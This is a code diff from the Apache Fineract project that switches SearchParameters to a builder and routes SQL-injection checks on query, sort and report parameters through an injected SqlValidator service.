@@ -341,7 +341,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) {
centers = (List<CenterData>) this.centerReadPlatformService.retrieveAll(null, null);
} else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
centers = (List<CenterData>) centerReadPlatformService.retrieveAll(searchParameters, null);
}
@@ -359,7 +359,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
}
}
} else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
Page<ClientData> clientDataPage = this.clientReadPlatformService.retrieveAll(searchParameters);
if (clientDataPage != null) {
clients = new ArrayList<>();
@@ -420,7 +420,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) {
groups = (List<GroupGeneralData>) this.groupReadPlatformService.retrieveAll(null, null);
} else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
groups = (List<GroupGeneralData>) groupReadPlatformService.retrieveAll(searchParameters, null);
}
@@ -448,7 +448,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) {
loanAccounts = loanReadPlatformService.retrieveAll(null).getPageItems();
} else {
SearchParameters searchParameters = SearchParameters.from(officeId, null, null, null);
SearchParameters searchParameters = SearchParameters.builder().officeId(officeId).build();
loanAccounts = loanReadPlatformService.retrieveAll(searchParameters).getPageItems();
}
return loanAccounts;
@@ -48,6 +48,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/email")
@@ -63,6 +64,7 @@ public class EmailApiResource {
private final DefaultToApiJsonSerializer<EmailData> toApiJsonSerializer;
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final SqlValidator sqlValidator;
@GET
public String retrieveAllEmails(@Context final UriInfo uriInfo) {
@@ -78,7 +80,10 @@ public class EmailApiResource {
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllPending(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, emailMessages);
@@ -91,7 +96,10 @@ public class EmailApiResource {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllSent(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -131,7 +139,10 @@ public class EmailApiResource {
context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final SearchParameters searchParameters = SearchParameters.forEmailCampaign(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Collection<EmailData> emailMessages = readPlatformService.retrieveAllFailed(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -58,6 +58,7 @@ import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/smscampaigns")
@@ -74,6 +75,7 @@ public class SmsCampaignApiResource {
private final DefaultToApiJsonSerializer<CampaignPreviewData> previewCampaignMessageDefaultToApiJsonSerializer;
private final SmsCampaignWritePlatformService smsCampaignWritePlatformService;
private final PlatformSecurityContext context;
private final SqlValidator sqlValidator;
private static final String RESOURCE_NAME_FOR_PERMISSIONS = "SMS_CAMPAIGN";
@@ -142,7 +144,10 @@ public class SmsCampaignApiResource {
public String retrieveAllEmails(@QueryParam("offset") final Integer offset, @QueryParam("limit") final Integer limit,
@QueryParam("orderBy") final String orderBy, @QueryParam("sortOrder") final String sortOrder, @Context final UriInfo uriInfo) {
platformSecurityContext.authenticatedUser().validateHasReadPermission(SmsCampaignConstants.RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forSMSCampaign(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
Page<SmsCampaignData> smsCampaignDataCollection = smsCampaignReadPlatformService.retrieveAll(searchParameters);
final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
return toApiJsonSerializer.serialize(settings, smsCampaignDataCollection);
@@ -94,9 +94,9 @@ public class SmsCampaignReadPlatformServiceImpl implements SmsCampaignReadPlatfo
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(this.smsCampaignMapper.schema() + " where sc.is_visible = ? ");
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -77,7 +77,7 @@ public class EntityDatatableChecksApiResource {
@QueryParam("productId") @Parameter(description = "productId") final Long productId,
@QueryParam("offset") @Parameter(description = "offset") final Integer offset,
@QueryParam("limit") @Parameter(description = "limit") final Integer limit) {
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
final Page<EntityDataTableChecksData> result = this.readEntityDatatableChecksService.retrieveAll(searchParameters, status, entity,
productId);
@@ -24,7 +24,6 @@ import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.api.ApiParameterHelper;
@@ -34,17 +33,23 @@ import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
import org.apache.fineract.infrastructure.dataqueries.service.export.DatatableReportExportService;
import org.apache.fineract.infrastructure.dataqueries.service.export.ResponseHolder;
import org.apache.fineract.infrastructure.report.annotation.ReportService;
import org.apache.fineract.infrastructure.report.service.ReportingProcessService;
import org.apache.fineract.infrastructure.report.service.AbstractReportingProcessService;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Service;
@Service
@ReportService(type = { "Table", "Chart", "SMS" })
@RequiredArgsConstructor
@Slf4j
public class DatatableReportingProcessService implements ReportingProcessService {
public class DatatableReportingProcessService extends AbstractReportingProcessService {
private final List<DatatableReportExportService> exportServices;
public DatatableReportingProcessService(List<DatatableReportExportService> exportServices, SqlValidator sqlValidator) {
super(sqlValidator);
this.exportServices = exportServices;
}
@Override
public Response processRequest(String reportName, MultivaluedMap<String, String> queryParams) {
boolean isSelfServiceUserReport = Boolean.parseBoolean(
@@ -109,9 +109,9 @@ public class EntityDatatableChecksReadPlatformServiceImpl implements EntityDatat
paramList.add(productId);
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -108,8 +108,8 @@ import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoun
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableSystemErrorException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
import org.apache.fineract.portfolio.search.data.AdvancedQueryData;
import org.apache.fineract.portfolio.search.data.ColumnFilterData;
import org.apache.fineract.portfolio.search.service.SearchUtil;
@@ -148,6 +148,8 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
private final NamedParameterJdbcTemplate namedParameterJdbcTemplate;
private final SqlInjectionPreventerService preventSqlInjectionService;
private final DatatableKeywordGenerator datatableKeywordGenerator;
private final SqlValidator sqlValidator;
private final SearchUtil searchUtil;
@Override
public List<DatatableData> retrieveDatatableNames(final String appTable) {
@@ -185,7 +187,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
@Override
public DatatableData retrieveDatatable(final String datatable) {
// PERMITTED datatables
SQLInjectionValidator.validateSQLInput(datatable);
sqlValidator.validate(datatable);
final String sql = "select application_table_name, registered_table_name, entity_subtype from x_registered_table "
+ " where exists (select 'f' from m_appuser_role ur join m_role r on r.id = ur.role_id"
+ " left join m_role_permission rp on rp.role_id = r.id left join m_permission p on p.id = rp.permission_id"
@@ -213,21 +215,21 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
public List<JsonObject> queryDataTable(@NotNull String datatable, @NotNull String columnName, String columnValueString,
@NotNull String resultColumnsString) {
datatable = validateDatatableRegistered(datatable);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
List<String> resultColumns = asList(resultColumnsString.split(","));
List<String> selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
ResultsetColumnHeaderData column = SearchUtil.validateToJdbcColumn(columnName, headersByName, false);
List<String> selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
ResultsetColumnHeaderData column = searchUtil.validateToJdbcColumn(columnName, headersByName, false);
Object columnValue = SearchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
Object columnValue = searchUtil.parseJdbcColumnValue(column, columnValueString, null, null, null, false, sqlGenerator);
String sql = sqlGenerator.buildSelect(selectColumns, null, false) + " " + sqlGenerator.buildFrom(datatable, null, false) + " WHERE "
+ EQ.formatPlaceholder(sqlGenerator, column.getColumnName(), 1, null);
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, columnValue); // NOSONAR
List<JsonObject> results = new ArrayList<>();
while (rowSet.next()) {
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
}
return results;
}
@@ -240,12 +242,12 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
AdvancedQueryData request = pagedRequest.getRequest().orElseThrow();
dataTableValidator.validateTableSearch(request);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
String pkColumn = SearchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
String pkColumn = searchUtil.getFiltered(headersByName.values(), ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
List<ColumnFilterData> columnFilters = request.getNonNullFilters();
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
List<String> resultColumns = request.getNonNullResultColumns();
List<String> selectColumns;
@@ -254,14 +256,14 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
selectColumns = new ArrayList<>();
selectColumns.add(pkColumn);
} else {
selectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
selectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, false);
}
PageRequest pageable = pagedRequest.toPageable();
PageRequest sortPageable;
if (pageable.getSort().isSorted()) {
List<Sort.Order> orders = pageable.getSort().toList();
sortPageable = pageable.withSort(Sort.by(orders.stream()
.map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
.map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
} else {
pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
sortPageable = pageable;
@@ -275,7 +277,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
String from = " " + sqlGenerator.buildFrom(datatable, null, false);
StringBuilder where = new StringBuilder();
ArrayList<Object> params = new ArrayList<>();
SearchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
searchUtil.buildQueryCondition(columnFilters, where, params, null, headersByName, dateFormat, dateTimeFormat, locale, false,
sqlGenerator);
List<JsonObject> results = new ArrayList<>();
@@ -297,7 +299,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
while (rowSet.next()) {
SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
}
return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
}
@@ -315,19 +317,19 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
datatable = validateDatatableRegistered(datatable);
context.authenticatedUser().validateHasDatatableReadPermission(datatable);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
.mapHeadersToName(genericDataService.fillResultsetColumnHeaders(datatable));
List<String> thisSelectColumns = SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
List<String> thisSelectColumns = searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true);
if (columnFilters != null) {
columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
}
select.append(sqlGenerator.buildSelect(thisSelectColumns, alias, true));
selectColumns.addAll(thisSelectColumns);
String joinType = "LEFT";
if (SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
if (searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, true,
sqlGenerator)) {
joinType = null; // INNER
}
@@ -674,7 +676,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
validateDatatableName(datatableName);
int rowCount = getDatatableRowCount(datatableName);
final List<ResultsetColumnHeaderData> columnHeaderData = this.genericDataService.fillResultsetColumnHeaders(datatableName);
final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = SearchUtil.mapHeadersToName(columnHeaderData);
final Map<String, ResultsetColumnHeaderData> mapColumnNameDefinition = searchUtil.mapHeadersToName(columnHeaderData);
final boolean isConstraintApproach = this.configurationDomainService.isConstraintApproachEnabledForDatatables();
@@ -1283,7 +1285,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
CommandProcessingResult commandProcessingResult = checkMainResourceExistsWithinScope(entityTable, appTableId);
List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(dataTableName);
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
final Type typeOfMap = new TypeToken<Map<String, String>>() {}.getType();
final Map<String, String> dataParams = fromJsonHelper.extractDataMap(typeOfMap, json);
@@ -1302,12 +1304,12 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
if (isTechnicalParam(entry.getKey())) {
continue;
}
ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
if (!isUserInsertable(entityTable, columnHeader)) {
continue;
}
insertColumns.add(columnHeader.getColumnName());
params.add(SearchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
params.add(searchUtil.parseJdbcColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
sqlGenerator));
}
if (addScore) {
@@ -1318,7 +1320,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
} else {
StringBuilder scoreSql = new StringBuilder("SELECT SUM(code_score) FROM m_code_value WHERE m_code_value.");
ArrayList<Object> scoreParams = new ArrayList<>();
SearchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
searchUtil.buildCondition("id", BIGINT, IN, scoreIds, scoreSql, scoreParams, null, sqlGenerator);
Integer score = jdbcTemplate.queryForObject(scoreSql.toString(), Integer.class, scoreParams.toArray(Object[]::new));
scoreValue = score == null ? 0 : score;
}
@@ -1404,7 +1406,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
throw new PlatformDataIntegrityException("error.msg.attempting.multiple.update",
"Application table: " + dataTableName + " Foreign key id: " + appTableId);
}
Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
final List<Object> existingValues = existingRows.getData().get(0).getRow();
HashMap<ResultsetColumnHeaderData, Object> valuesByHeader = columnHeaders.stream().collect(HashMap::new,
(map, e) -> map.put(e, existingValues.get(map.size())), (map, map2) -> {});
@@ -1426,13 +1428,13 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
if (isTechnicalParam(entry.getKey())) {
continue;
}
ResultsetColumnHeaderData columnHeader = SearchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
ResultsetColumnHeaderData columnHeader = searchUtil.validateToJdbcColumn(entry.getKey(), headersByName, false);
if (!isUserUpdatable(entityTable, columnHeader)) {
continue;
}
String columnName = columnHeader.getColumnName();
Object existingValue = valuesByHeader.get(columnHeader);
Object columnValue = SearchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
Object columnValue = searchUtil.parseColumnValue(columnHeader, entry.getValue(), dateFormat, dateTimeFormat, locale, false,
sqlGenerator);
if ((columnHeader.getColumnType().isDecimalType() && MathUtil.isEqualTo((BigDecimal) existingValue, (BigDecimal) columnValue))
|| (existingValue == null ? columnValue == null : existingValue.equals(columnValue))) {
@@ -1445,7 +1447,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
}
Long primaryKey = datatableId == null ? appTableId : datatableId;
if (!updateColumns.isEmpty()) {
ResultsetColumnHeaderData pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
ResultsetColumnHeaderData pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey);
params.add(primaryKey);
final String sql = sqlGenerator.buildUpdate(dataTableName, updateColumns, headersByName) + " WHERE " + pkColumn.getColumnName()
+ " = ?";
@@ -1533,7 +1535,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
final boolean multiRow = isMultirowDatatable(columnHeaders);
String whereClause = getFKField(entityTable) + " = " + appTableId;
SQLInjectionValidator.validateSQLInput(whereClause);
sqlValidator.validate(whereClause);
String sql = "select * from " + sqlGenerator.escape(dataTableName) + " where " + whereClause;
// id only used for reading a specific entry that belongs to appTableId (in a one to many datatable)
@@ -1636,7 +1638,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
@NotNull
private EntityTables queryForApplicationEntity(final String datatable) {
SQLInjectionValidator.validateSQLInput(datatable);
sqlValidator.validate(datatable);
final String sql = "SELECT application_table_name FROM x_registered_table where registered_table_name = ?";
final SqlRowSet rowSet = jdbcTemplate.queryForRowSet(sql, datatable); // NOSONAR
@@ -1681,7 +1683,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
} else if (!name.matches(DATATABLE_NAME_REGEX_PATTERN)) {
throw new PlatformDataIntegrityException("error.msg.datatables.datatable.invalid.name.regex", "Invalid data table name.", name);
}
SQLInjectionValidator.validateSQLInput(name);
sqlValidator.validate(name);
}
private String validateDatatableRegistered(String datatable) {
@@ -1750,7 +1752,7 @@ public class ReadWriteNonCoreDataServiceImpl implements ReadWriteNonCoreDataServ
}
private boolean isMultirowDatatable(final List<ResultsetColumnHeaderData> columnHeaders) {
return SearchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
return searchUtil.findFiltered(columnHeaders, e -> e.isNamed(TABLE_FIELD_ID)) != null;
}
private String datatableColumnNameToCodeValueName(final String columnName, final String code) {
@@ -31,7 +31,9 @@ import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDa
import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlInjectionPreventerService;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.ColumnValidator;
import org.apache.fineract.portfolio.search.service.SearchUtil;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@@ -50,9 +52,10 @@ public class DataQueriesAutoConfiguration {
final ConfigurationDomainService configurationDomainService, final CodeReadPlatformService codeReadPlatformService,
final DataTableValidator dataTableValidator, final ColumnValidator columnValidator,
final NamedParameterJdbcTemplate namedParameterJdbcTemplate, final SqlInjectionPreventerService preventSqlInjectionService,
DatatableKeywordGenerator datatableKeywordGenerator) {
DatatableKeywordGenerator datatableKeywordGenerator, SqlValidator sqlValidator, SearchUtil searchUtil) {
return new ReadWriteNonCoreDataServiceImpl(jdbcTemplate, databaseTypeResolver, sqlGenerator, context, fromJsonHelper,
genericDataService, fromApiJsonDeserializer, configurationDomainService, codeReadPlatformService, dataTableValidator,
columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator);
columnValidator, namedParameterJdbcTemplate, preventSqlInjectionService, datatableKeywordGenerator, sqlValidator,
searchUtil);
}
}
@@ -61,6 +61,7 @@ import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
import org.apache.fineract.infrastructure.jobs.service.SchedulerJobRunnerReadService;
import org.apache.fineract.infrastructure.security.exception.NoAuthorizationException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/jobs")
@@ -79,6 +80,7 @@ public class SchedulerJobApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final PlatformSecurityContext context;
private final FineractProperties fineractProperties;
private final SqlValidator sqlValidator;
@GET
@Operation(summary = "Retrieve Scheduler Jobs", description = "Returns the list of jobs.\n" + "\n" + "Example Requests:\n" + "\n"
@@ -117,7 +119,10 @@ public class SchedulerJobApiResource {
@QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(SchedulerJobApiConstants.SCHEDULER_RESOURCE_NAME);
final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).build();
final Page<JobDetailHistoryData> jobhistoryDetailData = this.schedulerJobRunnerReadService.retrieveJobHistory(jobId,
searchParameters);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -100,18 +100,18 @@ public class SchedulerJobRunnerReadServiceImpl implements SchedulerJobRunnerRead
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(jobHistoryMapper.schema());
sqlBuilder.append(" where job.id=?");
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
}
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -0,0 +1,48 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.report.service;
import jakarta.ws.rs.core.MultivaluedMap;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
public abstract class AbstractReportingProcessService implements ReportingProcessService {
private final SqlValidator sqlValidator;
protected AbstractReportingProcessService(SqlValidator sqlValidator) {
this.sqlValidator = sqlValidator;
}
@Override
public Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
final Map<String, String> reportParams = new HashMap<>();
for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
if (entry.getKey().startsWith("R_")) {
String pKey = "${" + entry.getKey().substring(2) + "}";
String pValue = entry.getValue().get(0);
sqlValidator.validate(pValue);
reportParams.put(pKey, pValue);
}
}
return reportParams;
}
}
@@ -20,11 +20,9 @@ package org.apache.fineract.infrastructure.report.service;
import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.core.Response;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.fineract.infrastructure.dataqueries.data.ReportExportType;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
public interface ReportingProcessService {
@@ -32,16 +30,5 @@ public interface ReportingProcessService {
List<ReportExportType> getAvailableExportTargets();
default Map<String, String> getReportParams(final MultivaluedMap<String, String> queryParams) {
final Map<String, String> reportParams = new HashMap<>();
for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {
if (entry.getKey().startsWith("R_")) {
String pKey = "${" + entry.getKey().substring(2) + "}";
String pValue = entry.getValue().get(0);
SQLInjectionValidator.validateSQLInput(pValue);
reportParams.put(pKey, pValue);
}
}
return reportParams;
}
Map<String, String> getReportParams(MultivaluedMap<String, String> queryParams);
}
@@ -53,6 +53,7 @@ import org.apache.fineract.infrastructure.reportmailingjob.ReportMailingJobConst
import org.apache.fineract.infrastructure.reportmailingjob.data.ReportMailingJobData;
import org.apache.fineract.infrastructure.reportmailingjob.service.ReportMailingJobReadPlatformService;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Path("/v1/" + ReportMailingJobConstants.REPORT_MAILING_JOB_RESOURCE_NAME)
@@ -66,6 +67,7 @@ public class ReportMailingJobApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<ReportMailingJobData> reportMailingToApiJsonSerializer;
private final ReportMailingJobReadPlatformService reportMailingJobReadPlatformService;
private final SqlValidator sqlValidator;
@POST
